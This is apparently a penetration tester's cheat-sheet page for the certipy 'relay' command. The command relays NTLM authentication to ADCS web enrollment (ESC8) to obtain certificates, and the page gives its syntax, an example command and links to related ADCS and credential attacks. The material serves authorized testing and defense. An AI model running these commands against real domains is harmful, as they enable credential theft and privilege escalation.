Certipy Relay to ADCS

Relay NTLM authentication to ADCS web enrollment to obtain a certificate

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: certipy
Category: Credential Attacks / ADCS (Certificate Abuse)
Platform: linux
Requires: no credentials
Protocols: NTLM, HTTP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

certipy relay -target 'http://<ip>/certsrv/certfnsh.asp' -ca '<ca_name>'

Examples

certipy relay -target 'http://192.168.1.100/certsrv/certfnsh.asp' -ca 'CORP-CA'

Tags

certipy adcs relay esc8 web-enrollment

Certipy Request Certificate Request a certificate from a vulnerable ADCS template
Certipy Authenticate with Certificate Authenticate using a PFX certificate to obtain a TGT and NT hash
bloodyAD Shadow Credentials Add a Key Credential (msDS-KeyCredentialLink) to a target object you have GenericWrite…
Certipy Account Operations Create, update, read, or delete user / computer accounts directly through Certipy.…
Certipy CA Management Enumerate and manipulate the certificate authority itself: list officers (ESC7), backup…
Certipy ESC1 (Subject in Request) Exploit ESC1: a template that allows the requester to specify a Subject Alternative Name…
Certipy ESC11 (RPC Relay to ICPR) ESC11: ICertPassage RPC interface accepts NTLM without IF_ENFORCEENCRYPTICERTREQUEST.…
Certipy ESC13 (OID Group Link) ESC13: a template's issuance policy is linked to a privileged group via…